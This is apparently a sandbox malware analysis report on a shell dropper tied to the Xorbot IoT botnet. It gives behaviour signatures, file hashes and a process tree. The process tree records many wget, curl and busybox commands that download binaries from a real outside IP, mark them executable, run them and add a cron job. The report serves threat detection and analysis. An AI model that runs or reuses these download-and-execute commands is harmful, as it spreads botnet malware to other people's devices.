Analysis

  • max time kernel
    115s
  • max time network
    147s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    28/02/2025, 00:27

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    a143188f8eb4f1ec65578ca97c3910b9

  • SHA1

    25f0c491fd127130f5131ca32c4439e10d74109c

  • SHA256

    5143e34bf3393269d1bc6de12af0e0ec3abb0bb7ba6b656e742e8010a278da6e

  • SHA512

    d76964706ecd5338d050d14dbfa2df3499bb795de50494cdb7ad835648403aae57db6edfb5998e0c68ec88a0c390ab6acb73dbb16979432ce1cddaaff8eacf29

  • SSDEEP

    96:1kdkNkBCkDknk/QHdAI+eIMlG+CDc8eoIXaW6d4AIIyJIMHQiG+CDc8zGoIXaW8C:ExQHdAleIMlNoIXaW6jqIMnoIXaW4yt

Malware Config

Signatures

  • Detects Xorbot 8 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1207) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:719
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:724
      • /usr/bin/wget
        wget http://37.44.238.88/bins/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
        2⤵
        • Writes file to tmp directory
        PID:728
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
        2⤵
        • Writes file to tmp directory
        PID:740
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
        2⤵
        • Writes file to tmp directory
        PID:747
      • /bin/chmod
        chmod 777 jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
        2⤵
        • File and Directory Permissions Modification
        PID:748
      • /tmp/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
        ./jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
        2⤵
          PID:749
        • /bin/rm
          rm jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
          2⤵
            PID:751
          • /usr/bin/wget
            wget http://37.44.238.88/bins/Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
            2⤵
            • Writes file to tmp directory
            PID:752
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:753
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
            2⤵
            • Writes file to tmp directory
            PID:754
          • /bin/chmod
            chmod 777 Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
            2⤵
            • File and Directory Permissions Modification
            PID:755
          • /tmp/Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
            ./Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
            2⤵
              PID:756
            • /bin/rm
              rm Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
              2⤵
                PID:758
              • /usr/bin/wget
                wget http://37.44.238.88/bins/YnwbHsE5PRgQqi8a4c16V3PEXNYMVo4H8O
                2⤵
                • Writes file to tmp directory
                PID:759
              • /usr/bin/curl
                curl -O http://37.44.238.88/bins/YnwbHsE5PRgQqi8a4c16V3PEXNYMVo4H8O
                2⤵
                • Writes file to tmp directory
                PID:760
              • /bin/busybox
                /bin/busybox wget http://37.44.238.88/bins/YnwbHsE5PRgQqi8a4c16V3PEXNYMVo4H8O
                2⤵
                • Writes file to tmp directory
                PID:779
              • /bin/chmod
                chmod 777 YnwbHsE5PRgQqi8a4c16V3PEXNYMVo4H8O
                2⤵
                • File and Directory Permissions Modification
                PID:807
              • /tmp/YnwbHsE5PRgQqi8a4c16V3PEXNYMVo4H8O
                ./YnwbHsE5PRgQqi8a4c16V3PEXNYMVo4H8O
                2⤵
                • Renames itself
                • Reads runtime system information
                PID:808
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:810
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:811
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:812
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:813
                    • /bin/rm
                      rm YnwbHsE5PRgQqi8a4c16V3PEXNYMVo4H8O
                      2⤵
                        PID:815
                      • /usr/bin/wget
                        wget http://37.44.238.88/bins/7PAHZgnGMuF6rTP0UzYB0XN01vNYZs51T0
                        2⤵
                          PID:818
                        • /usr/bin/curl
                          curl -O http://37.44.238.88/bins/7PAHZgnGMuF6rTP0UzYB0XN01vNYZs51T0
                          2⤵
                            PID:899
                          • /bin/busybox
                            /bin/busybox wget http://37.44.238.88/bins/7PAHZgnGMuF6rTP0UzYB0XN01vNYZs51T0
                            2⤵
                            • Writes file to tmp directory
                            PID:908
                          • /bin/chmod
                            chmod 777 7PAHZgnGMuF6rTP0UzYB0XN01vNYZs51T0
                            2⤵
                            • File and Directory Permissions Modification
                            PID:913
                          • /tmp/7PAHZgnGMuF6rTP0UzYB0XN01vNYZs51T0
                            ./7PAHZgnGMuF6rTP0UzYB0XN01vNYZs51T0
                            2⤵
                              PID:914
                            • /bin/rm
                              rm 7PAHZgnGMuF6rTP0UzYB0XN01vNYZs51T0
                              2⤵
                                PID:916
                              • /usr/bin/wget
                                wget http://37.44.238.88/bins/4NXqErtkdL9u0sggoDFpUFlDBx5SpjXlQU
                                2⤵
                                  PID:917
                                • /usr/bin/curl
                                  curl -O http://37.44.238.88/bins/4NXqErtkdL9u0sggoDFpUFlDBx5SpjXlQU
                                  2⤵
                                    PID:918
                                  • /bin/busybox
                                    /bin/busybox wget http://37.44.238.88/bins/4NXqErtkdL9u0sggoDFpUFlDBx5SpjXlQU
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:919
                                  • /bin/chmod
                                    chmod 777 4NXqErtkdL9u0sggoDFpUFlDBx5SpjXlQU
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:920
                                  • /tmp/4NXqErtkdL9u0sggoDFpUFlDBx5SpjXlQU
                                    ./4NXqErtkdL9u0sggoDFpUFlDBx5SpjXlQU
                                    2⤵
                                      PID:921
                                    • /bin/rm
                                      rm 4NXqErtkdL9u0sggoDFpUFlDBx5SpjXlQU
                                      2⤵
                                        PID:923
                                      • /usr/bin/wget
                                        wget http://37.44.238.88/bins/DQM8yyQFuvt7q3KPLK3gIPJNFvYido29Bf
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:924
                                      • /usr/bin/curl
                                        curl -O http://37.44.238.88/bins/DQM8yyQFuvt7q3KPLK3gIPJNFvYido29Bf
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:925
                                      • /bin/busybox
                                        /bin/busybox wget http://37.44.238.88/bins/DQM8yyQFuvt7q3KPLK3gIPJNFvYido29Bf
                                        2⤵
                                        • System Network Configuration Discovery
                                        • Writes file to tmp directory
                                        PID:926
                                      • /bin/chmod
                                        chmod 777 DQM8yyQFuvt7q3KPLK3gIPJNFvYido29Bf
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:927
                                      • /tmp/DQM8yyQFuvt7q3KPLK3gIPJNFvYido29Bf
                                        ./DQM8yyQFuvt7q3KPLK3gIPJNFvYido29Bf
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:932
                                      • /bin/rm
                                        rm DQM8yyQFuvt7q3KPLK3gIPJNFvYido29Bf
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:934
                                      • /usr/bin/wget
                                        wget http://37.44.238.88/bins/jXBZ9fjgtI76vCjYbD27pv345EGNylec9P
                                        2⤵
                                          PID:935
                                        • /usr/bin/curl
                                          curl -O http://37.44.238.88/bins/jXBZ9fjgtI76vCjYbD27pv345EGNylec9P
                                          2⤵
                                            PID:936
                                          • /bin/busybox
                                            /bin/busybox wget http://37.44.238.88/bins/jXBZ9fjgtI76vCjYbD27pv345EGNylec9P
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:937
                                          • /bin/chmod
                                            chmod 777 jXBZ9fjgtI76vCjYbD27pv345EGNylec9P
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:948
                                          • /tmp/jXBZ9fjgtI76vCjYbD27pv345EGNylec9P
                                            ./jXBZ9fjgtI76vCjYbD27pv345EGNylec9P
                                            2⤵
                                              PID:950
                                            • /bin/rm
                                              rm jXBZ9fjgtI76vCjYbD27pv345EGNylec9P
                                              2⤵
                                                PID:953
                                              • /usr/bin/wget
                                                wget http://37.44.238.88/bins/VXgjq7oUTr3oee9cSYKvxjQjOsg8qP6TM4
                                                2⤵
                                                  PID:954
                                                • /usr/bin/curl
                                                  curl -O http://37.44.238.88/bins/VXgjq7oUTr3oee9cSYKvxjQjOsg8qP6TM4
                                                  2⤵
                                                    PID:957
                                                  • /bin/busybox
                                                    /bin/busybox wget http://37.44.238.88/bins/VXgjq7oUTr3oee9cSYKvxjQjOsg8qP6TM4
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:960
                                                  • /bin/chmod
                                                    chmod 777 VXgjq7oUTr3oee9cSYKvxjQjOsg8qP6TM4
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:965
                                                  • /tmp/VXgjq7oUTr3oee9cSYKvxjQjOsg8qP6TM4
                                                    ./VXgjq7oUTr3oee9cSYKvxjQjOsg8qP6TM4
                                                    2⤵
                                                      PID:966
                                                    • /bin/rm
                                                      rm VXgjq7oUTr3oee9cSYKvxjQjOsg8qP6TM4
                                                      2⤵
                                                        PID:968
                                                      • /usr/bin/wget
                                                        wget http://37.44.238.88/bins/5P6UyrdYDDW9yOKNHBobbftMW24n8g07pY
                                                        2⤵
                                                          PID:970
                                                        • /usr/bin/curl
                                                          curl -O http://37.44.238.88/bins/5P6UyrdYDDW9yOKNHBobbftMW24n8g07pY
                                                          2⤵
                                                            PID:972
                                                          • /bin/busybox
                                                            /bin/busybox wget http://37.44.238.88/bins/5P6UyrdYDDW9yOKNHBobbftMW24n8g07pY
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:975
                                                          • /bin/chmod
                                                            chmod 777 5P6UyrdYDDW9yOKNHBobbftMW24n8g07pY
                                                            2⤵
                                                            • File and Directory Permissions Modification
                                                            PID:981
                                                          • /tmp/5P6UyrdYDDW9yOKNHBobbftMW24n8g07pY
                                                            ./5P6UyrdYDDW9yOKNHBobbftMW24n8g07pY
                                                            2⤵
                                                              PID:982
                                                            • /bin/rm
                                                              rm 5P6UyrdYDDW9yOKNHBobbftMW24n8g07pY
                                                              2⤵
                                                                PID:983
                                                              • /usr/bin/wget
                                                                wget http://37.44.238.88/bins/UatwlwX7Z93KvM7NNhUFSlxkwga11NGHGN
                                                                2⤵
                                                                  PID:984
                                                                • /usr/bin/curl
                                                                  curl -O http://37.44.238.88/bins/UatwlwX7Z93KvM7NNhUFSlxkwga11NGHGN
                                                                  2⤵
                                                                    PID:989
                                                                  • /bin/busybox
                                                                    /bin/busybox wget http://37.44.238.88/bins/UatwlwX7Z93KvM7NNhUFSlxkwga11NGHGN
                                                                    2⤵
                                                                    • Writes file to tmp directory
                                                                    PID:990
                                                                  • /bin/chmod
                                                                    chmod 777 UatwlwX7Z93KvM7NNhUFSlxkwga11NGHGN
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:991
                                                                  • /tmp/UatwlwX7Z93KvM7NNhUFSlxkwga11NGHGN
                                                                    ./UatwlwX7Z93KvM7NNhUFSlxkwga11NGHGN
                                                                    2⤵
                                                                      PID:992
                                                                    • /bin/rm
                                                                      rm UatwlwX7Z93KvM7NNhUFSlxkwga11NGHGN
                                                                      2⤵
                                                                        PID:994
                                                                      • /usr/bin/wget
                                                                        wget http://37.44.238.88/bins/K70F7i0GapHJlrnlYVG5MDuGp3rWbXvVOh
                                                                        2⤵
                                                                          PID:995

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v15

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • /tmp/4NXqErtkdL9u0sggoDFpUFlDBx5SpjXlQU

                                                                        Filesize

                                                                        107KB

                                                                        MD5

                                                                        eb9c3a0de91fcf16ba17cb24608df68c

                                                                        SHA1

                                                                        09d95a7d70d5e115d103be51edff7c498d272fac

                                                                        SHA256

                                                                        dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                                        SHA512

                                                                        9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                                      • /tmp/5P6UyrdYDDW9yOKNHBobbftMW24n8g07pY

                                                                        Filesize

                                                                        99KB

                                                                        MD5

                                                                        9438d9bc392bcf300a5583b6df5bc8f6

                                                                        SHA1

                                                                        375a6ae34b516f6f3eeea8030c4084f585017efa

                                                                        SHA256

                                                                        68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                                        SHA512

                                                                        1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                                      • /tmp/7PAHZgnGMuF6rTP0UzYB0XN01vNYZs51T0

                                                                        Filesize

                                                                        122KB

                                                                        MD5

                                                                        cd3d4b9c643e5b473fb4d88ed05f0716

                                                                        SHA1

                                                                        64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                                        SHA256

                                                                        0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                                        SHA512

                                                                        164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                                      • /tmp/DQM8yyQFuvt7q3KPLK3gIPJNFvYido29Bf

                                                                        Filesize

                                                                        127KB

                                                                        MD5

                                                                        89077b7bd4bcafca7713be43635c4862

                                                                        SHA1

                                                                        fc02edb8fba29ea8ee99e6157ef8560334530052

                                                                        SHA256

                                                                        78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                                        SHA512

                                                                        1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                                      • /tmp/Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn

                                                                        Filesize

                                                                        119KB

                                                                        MD5

                                                                        1b166b95f9cb4b079ef1b9ec8363ddf3

                                                                        SHA1

                                                                        0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                                        SHA256

                                                                        94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                                        SHA512

                                                                        983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                                                      • /tmp/UatwlwX7Z93KvM7NNhUFSlxkwga11NGHGN

                                                                        Filesize

                                                                        98KB

                                                                        MD5

                                                                        5141342d0df8699fa32a6b066a0c592e

                                                                        SHA1

                                                                        8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                                        SHA256

                                                                        54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                                        SHA512

                                                                        d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                                                      • /tmp/VXgjq7oUTr3oee9cSYKvxjQjOsg8qP6TM4

                                                                        Filesize

                                                                        111KB

                                                                        MD5

                                                                        701e7a55a4f3650f5feee92a9860e5fc

                                                                        SHA1

                                                                        6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                                        SHA256

                                                                        ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                                        SHA512

                                                                        7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                                                      • /tmp/YnwbHsE5PRgQqi8a4c16V3PEXNYMVo4H8O

                                                                        Filesize

                                                                        151KB

                                                                        MD5

                                                                        3c90d5820bddcf7c5d1bd21dfa49d958

                                                                        SHA1

                                                                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                                        SHA256

                                                                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                                        SHA512

                                                                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                                      • /tmp/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v

                                                                        Filesize

                                                                        112KB

                                                                        MD5

                                                                        05d7857dcead18bbd86d2935f591873c

                                                                        SHA1

                                                                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                                        SHA256

                                                                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                                        SHA512

                                                                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                                      • /tmp/jXBZ9fjgtI76vCjYbD27pv345EGNylec9P

                                                                        Filesize

                                                                        151KB

                                                                        MD5

                                                                        6c583043d91c55aa470c08c87058e917

                                                                        SHA1

                                                                        abf65a5b9bba69980278ad09356e53de8bb89439

                                                                        SHA256

                                                                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                                        SHA512

                                                                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                                                      • /var/spool/cron/crontabs/tmp.h1BCfp

                                                                        Filesize

                                                                        210B

                                                                        MD5

                                                                        87b3b693a1ef2f5fdc9cecad484b1119

                                                                        SHA1

                                                                        cc7f82fcea827fd7728646ead2c4a1f7c5e40374

                                                                        SHA256

                                                                        fd1755e806ac4746eb1b350555673f905c0fa6f5e51bb2fabecf4260c8cf288f

                                                                        SHA512

                                                                        f7c1229ffb95befdfcfdd8e840c4e3bb828b73a811a78017f68dc490326fcffbe4da6b342661b2941e984d5514c9cbf5039b4854f6579f77398aaab6f6252c79